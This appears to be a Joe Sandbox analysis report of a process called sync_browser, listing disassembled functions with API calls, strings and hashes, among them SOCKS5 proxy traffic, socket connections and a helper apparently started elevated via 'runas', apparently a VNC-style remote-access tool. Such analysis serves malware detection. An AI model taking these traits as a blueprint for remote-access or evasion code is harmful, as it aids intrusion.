Part of subcall function 00007FF7E5132ED0: _set_error_mode.LIBCMT ref: 00007FF7E5132ED9
Part of subcall function 00007FF7E5132ED0: _set_error_mode.LIBCMT ref: 00007FF7E5132EE8

Part of subcall function 00007FF7E5132C70: _set_error_mode.LIBCMT ref: 00007FF7E5132CB5
Part of subcall function 00007FF7E5132C70: _set_error_mode.LIBCMT ref: 00007FF7E5132CC6
Part of subcall function 00007FF7E5132C70: GetModuleFileNameW.KERNEL32 ref: 00007FF7E5132D28

Part of subcall function 00007FF7E512ABD8: ExitProcess.KERNEL32 ref: 00007FF7E512ABE7

Part of subcall function 00007FF7E513326C: malloc.LIBCMT ref: 00007FF7E5133297
Part of subcall function 00007FF7E513326C: Sleep.KERNEL32(?,?,?,00007FF7E5137749,?,?,?,00007FF7E51377F3), ref: 00007FF7E51332AA

_errno.LIBCMT ref: 00007FF7E5137751
_lock.LIBCMT ref: 00007FF7E5137765
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,00007FF7E51377F3), ref: 00007FF7E513777B
free.LIBCMT ref: 00007FF7E5137788
_errno.LIBCMT ref: 00007FF7E513778D
LeaveCriticalSection.KERNEL32(?,?,?,00007FF7E51377F3), ref: 00007FF7E51377B0

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _set_error_mode$CriticalSection_errno$CountExitFileInitializeLeaveModuleNameProcessSleepSpin_lockfreemalloc
String ID:
API String ID: 113790786-0
Opcode ID: ab297a067351a709e4edac81291c778a22c0a59f8ebf175c2e86f69f3e49f6c1
Instruction ID: d13e902ae0f8adee88d55561680ed522808dfcc0fff7904f378ab61c186ec2e3
Opcode Fuzzy Hash: ab297a067351a709e4edac81291c778a22c0a59f8ebf175c2e86f69f3e49f6c1
Instruction Fuzzy Hash: 14218925E0C64A82F660BB60B43977AA690AF41F80FC64436E50EC66C9CF3CE9409763

Function 00007FF7E5139A94 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 240COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF7E51337C4: GetLastError.KERNEL32(?,?,?,00007FF7E512FFD1,?,?,?,?,00007FF7E5128C19,?,?,?,00007FF7E512748C), ref: 00007FF7E51337CE
Part of subcall function 00007FF7E51337C4: FlsGetValue.KERNEL32(?,?,?,00007FF7E512FFD1,?,?,?,?,00007FF7E5128C19,?,?,?,00007FF7E512748C), ref: 00007FF7E51337DC
Part of subcall function 00007FF7E51337C4: FlsSetValue.KERNEL32(?,?,?,00007FF7E512FFD1,?,?,?,?,00007FF7E5128C19,?,?,?,00007FF7E512748C), ref: 00007FF7E5133808
Part of subcall function 00007FF7E51337C4: GetCurrentThreadId.KERNEL32 ref: 00007FF7E513381C
Part of subcall function 00007FF7E51337C4: SetLastError.KERNEL32(?,?,?,00007FF7E512FFD1,?,?,?,?,00007FF7E5128C19,?,?,?,00007FF7E512748C), ref: 00007FF7E5133834

Part of subcall function 00007FF7E51332EC: Sleep.KERNEL32(?,?,?,00007FF7E51337F7,?,?,?,00007FF7E512FFD1,?,?,?,?,00007FF7E5128C19), ref: 00007FF7E5133331

_errno.LIBCMT ref: 00007FF7E5139D9C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5139DA7

Strings

JanFebMarAprMayJunJulAugSepOctNovDec, xrefs: 00007FF7E5139BF4
;, xrefs: 00007FF7E5139B46
;, xrefs: 00007FF7E5139B33
gfff, xrefs: 00007FF7E5139C4C

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorLastValue$CurrentSleepThread_errno_invalid_parameter_noinfo
String ID: ;$;$JanFebMarAprMayJunJulAugSepOctNovDec$gfff
API String ID: 1962487656-880385205
Opcode ID: e0d79e7de24b8caf00c283af6be9bb86cffb6513b752dbb336f62d487cff5387
Instruction ID: 936b4c9af9596891b989ae80986a49cc5009374f1df8e204745952d5717f1259
Opcode Fuzzy Hash: e0d79e7de24b8caf00c283af6be9bb86cffb6513b752dbb336f62d487cff5387
Instruction Fuzzy Hash: 05914C376041858BDB099E38D4B57E87BA2D762B04F49C136D648CB79ADA3CE509C723

Function 00007FF7E507C0C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 201networkCOMMON

Download Yara Rule

APIs

_wgetenv.LIBCMT ref: 00007FF7E507C104

Part of subcall function 00007FF7E5129500: _errno.LIBCMT ref: 00007FF7E5129515
Part of subcall function 00007FF7E5129500: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5129520

send.WS2_32 ref: 00007FF7E507C191
recv.WS2_32 ref: 00007FF7E507C1C1
send.WS2_32 ref: 00007FF7E507C2A2
recv.WS2_32 ref: 00007FF7E507C2D1

Part of subcall function 00007FF7E507BB70: recv.WS2_32 ref: 00007FF7E507BBAF

Strings

SOCKS5_AUTH, xrefs: 00007FF7E507C0FD, 00007FF7E507C111

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: recv$send$_errno_invalid_parameter_noinfo_wgetenv
String ID: SOCKS5_AUTH
API String ID: 788663964-1698957378
Opcode ID: a52017378aba2792d1574ce981dd4d2621b7e1f64bedfacb3fbf5eec73a6fd49
Instruction ID: 2087b32fe04f69f238d9e995152bc32ad75ab3d361aa70fcd6ee6a751a4cd584
Opcode Fuzzy Hash: a52017378aba2792d1574ce981dd4d2621b7e1f64bedfacb3fbf5eec73a6fd49
Instruction Fuzzy Hash: 9381F82271C64640E7A0B639A5607BAA791FF85B94FC42233FE5D876C9EE3CD405C711

Function 00007FF7E507CDC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 113networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF7E507CDF5

Part of subcall function 00007FF7E507B550: inet_ntoa.WS2_32 ref: 00007FF7E507B59C
Part of subcall function 00007FF7E507B550: inet_ntoa.WS2_32 ref: 00007FF7E507B5B8
Part of subcall function 00007FF7E507B550: free.LIBCMT ref: 00007FF7E507B5CC
Part of subcall function 00007FF7E507B550: free.LIBCMT ref: 00007FF7E507B5D4
Part of subcall function 00007FF7E507B550: _wgetenv.LIBCMT ref: 00007FF7E507B60D

Part of subcall function 00007FF7E507B8C0: inet_addr.WS2_32 ref: 00007FF7E507B9C2
Part of subcall function 00007FF7E507B8C0: htons.WS2_32 ref: 00007FF7E507B9FE
Part of subcall function 00007FF7E507B8C0: socket.WS2_32 ref: 00007FF7E507BA13
Part of subcall function 00007FF7E507B8C0: connect.WS2_32 ref: 00007FF7E507BA2A

inet_addr.WS2_32 ref: 00007FF7E507CEA8
gethostbyname.WS2_32 ref: 00007FF7E507CEB6
closesocket.WS2_32 ref: 00007FF7E507CF0A
closesocket.WS2_32 ref: 00007FF7E507CF18

Strings

0123456789., xrefs: 00007FF7E507CE73

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: closesocketfreeinet_addrinet_ntoa$Startup_wgetenvconnectgethostbynamehtonssocket
String ID: 0123456789.
API String ID: 1515065793-2088042752
Opcode ID: af07b22a9e71188c15fa9fdd567796de41b23474eb50f39214d76554fd7e1c69
Instruction ID: 9b92015271c51bdb152cf16201dcbd63cc8b9a0ff3b96d0b182f1fd7f8597d55
Opcode Fuzzy Hash: af07b22a9e71188c15fa9fdd567796de41b23474eb50f39214d76554fd7e1c69
Instruction Fuzzy Hash: 07414571A0468986EB74BF3198253F9A350FF48FA4F844236EA2D876D9EE3CD5448721

Function 00007FF7E50877C0 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 88sleepCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF7E50877E1
EnterCriticalSection.KERNEL32 ref: 00007FF7E50877F5
Sleep.KERNEL32 ref: 00007FF7E50878BA
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5087950

Strings

stop_event, xrefs: 00007FF7E508787A
keyEvent, xrefs: 00007FF7E5087858
start_event, xrefs: 00007FF7E508789D

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInitializeLeaveSleep
String ID: keyEvent$start_event$stop_event
API String ID: 2894921085-1979648887
Opcode ID: 8308cf7c3ae31cd30facc1a3198ee148bfde16ef54a6c7f1913cd50604fb2f6f
Instruction ID: 4fc5ca4f0610b538547f033506ad392f1d198de56f4d8890c12850804175d14b
Opcode Fuzzy Hash: 8308cf7c3ae31cd30facc1a3198ee148bfde16ef54a6c7f1913cd50604fb2f6f
Instruction Fuzzy Hash: 85415D21E19A0B91FA11BB24B471B75A790DF84F40FC40036EA4E8A7AADE3DA054C773

Function 00007FF7E50C6FF0 Relevance: 10.6, APIs: 7, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E50C71D0: LoadLibraryA.KERNEL32 ref: 00007FF7E50C7212
Part of subcall function 00007FF7E50C71D0: GetProcAddress.KERNEL32 ref: 00007FF7E50C722F
Part of subcall function 00007FF7E50C71D0: FreeLibrary.KERNEL32 ref: 00007FF7E50C729D

EnumDisplaySettingsA.USER32 ref: 00007FF7E50C7042
EnumDisplaySettingsA.USER32 ref: 00007FF7E50C70AA
EnumDisplaySettingsA.USER32 ref: 00007FF7E50C7112
GetSystemMetrics.USER32 ref: 00007FF7E50C715A
GetSystemMetrics.USER32 ref: 00007FF7E50C716B
GetSystemMetrics.USER32 ref: 00007FF7E50C717C
GetSystemMetrics.USER32 ref: 00007FF7E50C718D

Part of subcall function 00007FF7E50C72F0: LoadLibraryA.KERNEL32 ref: 00007FF7E50C7335
Part of subcall function 00007FF7E50C72F0: GetProcAddress.KERNEL32 ref: 00007FF7E50C7352
Part of subcall function 00007FF7E50C72F0: FreeLibrary.KERNEL32 ref: 00007FF7E50C73D9

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: LibraryMetricsSystem$DisplayEnumSettings$AddressFreeLoadProc
String ID:
API String ID: 3112530957-0
Opcode ID: 8e670c82803b1e3d87f37cd23dd2564999404595f46980b38d1fcce0b4863635
Instruction ID: bbd201cbf71082e321e5627f991e44af7f9a560c2d5e366bed06fc1363da91a2
Opcode Fuzzy Hash: 8e670c82803b1e3d87f37cd23dd2564999404595f46980b38d1fcce0b4863635
Instruction Fuzzy Hash: F24117769086C5CAE324DF38E454399BBA0F748B08F44593AEF999B749EB38D504CF21

Function 00007FF7E50C3740 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77windowCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF7E5127BF0: GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF7E50C3771), ref: 00007FF7E5127BFE

GetLastError.KERNEL32 ref: 00007FF7E50C3790
SetLastError.KERNEL32 ref: 00007FF7E50C37B2
FormatMessageA.KERNEL32 ref: 00007FF7E50C37EB
sprintf.LIBCMT ref: 00007FF7E50C3804

Part of subcall function 00007FF7E512B240: _errno.LIBCMT ref: 00007FF7E512B258
Part of subcall function 00007FF7E512B240: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E512B263

Part of subcall function 00007FF7E50C3690: OutputDebugStringA.KERNEL32(?,?,?,?,?,00007FF7E50C385F), ref: 00007FF7E50C36A9
Part of subcall function 00007FF7E50C3690: GetStdHandle.KERNEL32(?,?,?,?,?,00007FF7E50C385F), ref: 00007FF7E50C36D1
Part of subcall function 00007FF7E50C3690: WriteConsoleA.KERNEL32 ref: 00007FF7E50C36EE
Part of subcall function 00007FF7E50C3690: WriteFile.KERNEL32(?,?,?,?,?,00007FF7E50C385F), ref: 00007FF7E50C3725

Strings

error code 0x%08X, xrefs: 00007FF7E50C37F5
--, xrefs: 00007FF7E50C3819

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorFileLastTimeWrite$ConsoleDebugFormatHandleMessageOutputStringSystem_errno_invalid_parameter_noinfosprintf
String ID: --$error code 0x%08X
API String ID: 1897734068-3878996968
Opcode ID: efd08b52188bb8304a99cb4b7993a8a97ecc2afbd75597a5911adc055181aade
Instruction ID: b161521fd6aa4a54a5ce76281be54c5b107ab7b143e4ca2bb03d06b5bdc92c61
Opcode Fuzzy Hash: efd08b52188bb8304a99cb4b7993a8a97ecc2afbd75597a5911adc055181aade
Instruction Fuzzy Hash: B531C535B0878581EB20EB25F4243AAA760FB85FA4F944336EB5D876C9DF3CD0058711

Function 00007FF7E512D58C Relevance: 10.6, APIs: 7, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 00007FF7E512D5AF
_errno.LIBCMT ref: 00007FF7E512D5B7

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 32eb1db604c35a1bd73017e45f5c353669c4e319d3a98b1b574dd58bb646ad4a
Instruction ID: c5abcdaff0667e54d6b9205b72d194cd76742334decc14fcdc9fb9d00751d0c8
Opcode Fuzzy Hash: 32eb1db604c35a1bd73017e45f5c353669c4e319d3a98b1b574dd58bb646ad4a
Instruction Fuzzy Hash: 0421F126A0C68A85E3017F64F86177DA5506F82F60FC94137EA1C872DACE7CA442E732

Function 00007FF7E5087220 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7E5087249
fclose.LIBCMT ref: 00007FF7E50872CE
ShellExecuteExA.SHELL32 ref: 00007FF7E508732B

Strings

runas, xrefs: 00007FF7E50872E5
p, xrefs: 00007FF7E5087322
\uvnckeyboardhelper.exe, xrefs: 00007FF7E5087290

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ExecuteFileModuleNameShellfclose
String ID: \uvnckeyboardhelper.exe$p$runas
API String ID: 3322125093-2954907143
Opcode ID: 037d2c38e5ac395d24b8413dad22403111c8ed725fed3ca7cb3e142dbe59519c
Instruction ID: 39394c1b89647f29ca3e0210760419ed980b59bc8e21dafee4aa9e12e4d4b12e
Opcode Fuzzy Hash: 037d2c38e5ac395d24b8413dad22403111c8ed725fed3ca7cb3e142dbe59519c
Instruction Fuzzy Hash: 52314135608B8695EB61AB14F4613AAB3A0FB88B50F804137DA9D83B99DF3CD114CB11

Function 00007FF7E512EEF8 Relevance: 10.6, APIs: 7, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 00007FF7E512EF11
_errno.LIBCMT ref: 00007FF7E512EF19
_close_nolock.LIBCMT ref: 00007FF7E512EF70

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: __doserrno_close_nolock_errno
String ID:
API String ID: 186997739-0
Opcode ID: 0c6e4c21da35182ad9278105eade7e0fa1460cea4b5bf11609be99456b1b247b
Instruction ID: 58bed7295ee352a536e92715ccaec7c84d0e892617d14260653f762774ba2318
Opcode Fuzzy Hash: 0c6e4c21da35182ad9278105eade7e0fa1460cea4b5bf11609be99456b1b247b
Instruction Fuzzy Hash: 4211C326E0C28AC5F3057F61B86577CA7506F81F51FD94636E61D872DACE7CA440A332

Function 00007FF7E507A040 Relevance: 10.6, APIs: 7, Instructions: 57threadwindowCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A07A
GetCurrentThreadId.KERNEL32 ref: 00007FF7E507A083
GetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A08B
SetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0A6
MessageBoxA.USER32 ref: 00007FF7E507A0B7
SetThreadDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0C2
CloseDesktop.USER32(?,?,?,00007FF7E50782D7), ref: 00007FF7E507A0CB

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

